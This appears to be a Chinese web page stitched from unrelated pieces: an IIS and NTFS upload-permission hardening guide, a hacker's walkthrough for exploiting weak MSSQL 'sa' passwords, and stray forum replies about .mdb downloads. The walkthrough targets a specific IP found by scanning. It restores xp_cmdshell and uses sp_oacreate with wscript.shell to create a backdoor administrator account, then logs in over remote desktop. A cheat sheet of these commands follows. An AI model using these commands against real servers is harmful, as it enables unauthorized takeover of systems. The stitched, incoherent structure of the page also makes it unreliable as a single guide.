怎么修改服务器的上传权限?

IIS Web 服务器的权限设置有两个地方，一个是 NTFS 文件系统本身的权限设置，另一个是 IIS 下网站->站点->属性->主目录（或站点下目录->属性->目录）面板上。这两个地方是密切相关的。下面我会以实例的方式来讲解如何设置权限。

IIS 下网站->站点->属性->主目录（或站点下目录->属性->目录）面板上有：

脚本资源访问

读取

写入

浏览

记录访问

索引资源

6 个选项。这 6 个选项中，“记录访问”和“索引资源”跟安全性关系不大，一般都设置。但是如果前面四个权限都没有设置的话，这两个权限也没有必要设置。在设置权限时，记住这个规则即可，后面的例子中不再特别说明这两个权限的设置。

另外在这 6 个选项下面的执行权限下拉列表中还有：

无

纯脚本

纯脚本和可执行程序

3 个选项。

而网站目录如果在 NTFS 分区（推荐用这种）的话，还需要对 NTFS 分区上的这个目录设置相应权限，许多地方都介绍设置 everyone 的权限，实际上这是不好的，其实只要设置好 Internet 来宾帐号（IUSR_xxxxxxx）或 IIS_WPG 组的帐号权限就可以了。如果是设置 ASP、PHP 程序的目录权限，那么设置 Internet 来宾帐号的权限，而对于 ASP.NET 程序，则需要设置 IIS_WPG 组的帐号权限。在后面提到 NTFS 权限设置时会明确指出，没有明确指出的都是指设置 IIS 属性面板上的权限。

例1 —— ASP、PHP、ASP.NET 程序所在目录的权限设置：

如果这些程序是要执行的，那么需要设置“读取”权限，并且设置执行权限为“纯脚本”。不要设置“写入”和“脚本资源访问”，更不要设置执行权限为“纯脚本和可执行程序”。NTFS 权限中不要给 IIS_WPG 用户组和 Internet 来宾帐号设置写和修改权限。如果有一些特殊的配置文件（而且配置文件本身也是 ASP、PHP 程序），则需要给这些特定的文件配置 NTFS 权限中的 Internet 来宾帐号（ASP.NET 程序是 IIS_WPG 组）的写权限，而不要配置 IIS 属性面板中的“写入”权限。

IIS 面板中的“写入”权限实际上是对 HTTP PUT 指令的处理，对于普通网站，一般情况下这个权限是不打开的。

IIS 面板中的“脚本资源访问”不是指可以执行脚本的权限，而是指可以访问源代码的权限，如果同时又打开“写入”权限的话，那么就非常危险了。

执行权限中“纯脚本和可执行程序”权限可以执行任意程序，包括 exe 可执行程序，如果目录同时有“写入”权限的话，那么就很容易被人上传并执行木马程序了。

对于 ASP.NET 程序的目录，许多人喜欢在文件系统中设置成 Web 共享，实际上这是没有必要的。只需要在 IIS 中保证该目录为一个应用程序即可。如果所在目录在 IIS 中不是一个应用程序目录，只需要在其属性->目录面板中应用程序设置部分点创建就可以了。Web 共享会给其更多权限，可能会造成不安全因素。

剑心总结:也就是说一般不要打开-主目录-(写入),(脚本资源访问) 这两项以及不要选上(纯脚本和可执行程序),选(纯脚本)就可以了.需要asp.net的应用程序的如果应用程序目录不止应用程序一个程序的可以在应用程序文件夹上(属性)-目录-点创建就可以了.不要在文件夹上选web共享.

例2 —— 上传目录的权限设置：

用户的网站上可能会设置一个或几个目录允许上传文件，上传的方式一般是通过 ASP、PHP、ASP.NET 等程序来完成。这时需要注意，一定要将上传目录的执行权限设为“无”，这样即使上传了 ASP、PHP 等脚本程序或者 exe 程序，也不会在用户浏览器里就触发执行。

同样，如果不需要用户用 PUT 指令上传，那么不要打开该上传目录的“写入”权限。而应该设置 NTFS 权限中的 Internet 来宾帐号（ASP.NET 程序的上传目录是 IIS_WPG 组）的写权限。

如果下载时，是通过程序读取文件内容然后再转发给用户的话，那么连“读取”权限也不要设置。这样可以保证用户上传的文件只能被程序中已授权的用户所下载。而不是知道文件存放目录的用户所下载。“浏览”权限也不要打开，除非你就是希望用户可以浏览你的上传目录，并可以选择自己想要下载的东西。

剑心总结:一般的一些asp.php等程序都有一个上传目录.比如论坛.他们继承了上面的属性可以运行脚本的.我们应该将这些目录从新设置一下属性.将(纯脚本)改成(无).

例3 —— Access 数据库所在目录的权限设置：

许多 IIS 用户常常采用将 Access 数据库改名（改为 asp 或者 aspx 后缀等）或者放在发布目录之外的方法来避免浏览者下载它们的 Access 数据库。而实际上，这是不必要的。其实只需要将 Access 所在目录（或者该文件）的“读取”、“写入”权限都去掉就可以防止被人下载或篡改了。你不必担心这样你的程序会无法读取和写入你的 Access 数据库。你的程序需要的是 NTFS 上 Internet 来宾帐号或 IIS_WPG 组帐号的权限，你只要将这些用户的权限设置为可读可写就完全可以保证你的程序能够正确运行了。

剑心总结:Internet 来宾帐号或 IIS_WPG 组帐号的权限可读可写.那么Access所在目录（或者该文件）的“读取”、“写入”权限都去掉就可以防止被人下载或篡改了

例4 —— 其它目录的权限设置：

你的网站下可能还有纯图片目录、纯 html 模版目录、纯客户端 js 文件目录或者样式表目录等，这些目录只需要设置“读取”权限即可，执行权限设成“无”即可。其它权限一概不需要设置。

当sa储存扩展被删除后....sa弱口令相关命令

可不知道大家有无这样的经历？当用sql综合利用工具连接成功后，有的能直接执行命令，创建帐户，

有的执行命令时却遇上下面种种情况而使你辛苦扫得的sa 弱口令失效，功亏一篑~

例如执行命令后回显1：未能找到存储过程'master..xpcmdshell'.

回显2：无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126（找不到指定模块。）

回显3：拒绝了对对象 'xp_cmdshell'（数据库 'master'，所有者 'dbo'）的 EXECUTE 权限。

等等可能还有些吧。这几个比较常见。

碰上这种情况，小菜们就变得无所适从了，棰胸跺足，甚至侮辱斯文，臭骂管理员。。。

呵呵，俺认为，回显1，2一般要么是管理员lj，要么是中级菜友的杰作，一般都是可以恢复的shell。回显3可就是经典作品了，把sa的权限降低了，与systemadmin脱离了联系。。。对于这种情况，俺还没有更好的解决办法。（哪位大哥知道麻烦告诉我一声^_^）

下面我就具体演示一下我是怎么对付这样的情况的。

用到的工具：sql查询分离器休闲庄专用版。

怕大家找不到，我把下载地址给大家

SQL查询分析器休闲庄分离版本

http://soft.7747.net/ware/774710/sqlquery.zip

假如我们扫到了：

[219.84.135.161]: 发现SQL-Server弱口令 "sa/[口令与用户名相同]"

[219.84.135.161]: "SQL-Server弱口令"扫描完成, 发现 1.

还开了3389！

先打开sql综合利用工具

连接试试

看，连接成功。

执行命令时，回显

无法载入 DLL C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplo.dll，或是参考到某个 DLL 。原因: 126(找不到指定的模组。)。

这个时候，我们就没办法再继续下去了。

下面打开sql查询分离器

登陆进去

出来一个白白的这个。。。

呵呵

哦。

这个ip是开了3389的。

我们先登陆3389看是否成功。

忘记讲了

看。windows2000的server版

好了。我们再在sql查询分离器中输入命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user test 123 /add'

这个命令就是创建一个用户名为test，密码为123的用户，

输入后按F5

我们看到回显有个这个表格样的东东，0。这样的。

这就表示成功了。如果回显“命令成功完成”，反而是没有成功~

呵呵不要上当哦。

下面提升test的权限

输入命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators test /add'

把test提升为管理员

按F5执行命令，回显和刚才一样。。。

下面我们登陆3389

用帐户test

密码123

看能不能登陆，看。。。。

进去了吧。。。

呵呵。。。

**********************************************************************************

sa弱口令相关命令

总结的一些关于sa弱口令相关命令.

注:具体问题具体分析,以上方法仅供参考,不一定有效,相关原理知识请自行查找。重要提示！以上提供的方法仅供学习研究！请大家不要进行任何破坏国内主机的违法行为！否则一切后果自负！转载请保留此信息。

一.更改sa口令方法：

用sql综合利用工具连接后，执行命令：

exec sp_password NULL,'新密码','sa'

(提示：慎用!)

二.简单修补sa弱口令.

方法1:查询分离器连接后执行：

if exists (select * from

dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and

OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

GO

然后按F5键命令执行完毕

方法2:查询分离器连接后

第一步执行：use master

第二步执行：sp_dropextendedproc 'xp_cmdshell'

然后按F5键命令执行完毕

三.常见情况恢复执行xp_cmdshell.

1 未能找到存储过程'master..xpcmdshell'.

恢复方法：查询分离器连接后,

第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

然后按F5键命令执行完毕

2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126（找不到指定模块。）

恢复方法：查询分离器连接后,

第一步执行：sp_dropextendedproc "xp_cmdshell"

第二步执行：sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

然后按F5键命令执行完毕

3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

恢复方法：查询分离器连接后,

第一步执行:exec sp_dropextendedproc 'xp_cmdshell'

第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'

然后按F5键命令执行完毕

四.终极方法.

如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

查询分离器连接后,

2000servser系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'

xp或2003server系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'

用FTP软件也不能下载吗？应该是服务器那为了安全设置不能下载.mdb这数据库格式文件的吧。建设。你要下载时，可以改了后缀名后再下载。

.mdb文件不能直接下载的。不过你用FTP软件应该是可以修改的啊。人家应该不会为你开权限的，不过你可以问他们要怎做啊。你直接传上新的覆盖了不就行。你用FTP软件不是可以修改文件的属性的吗。试试看。

---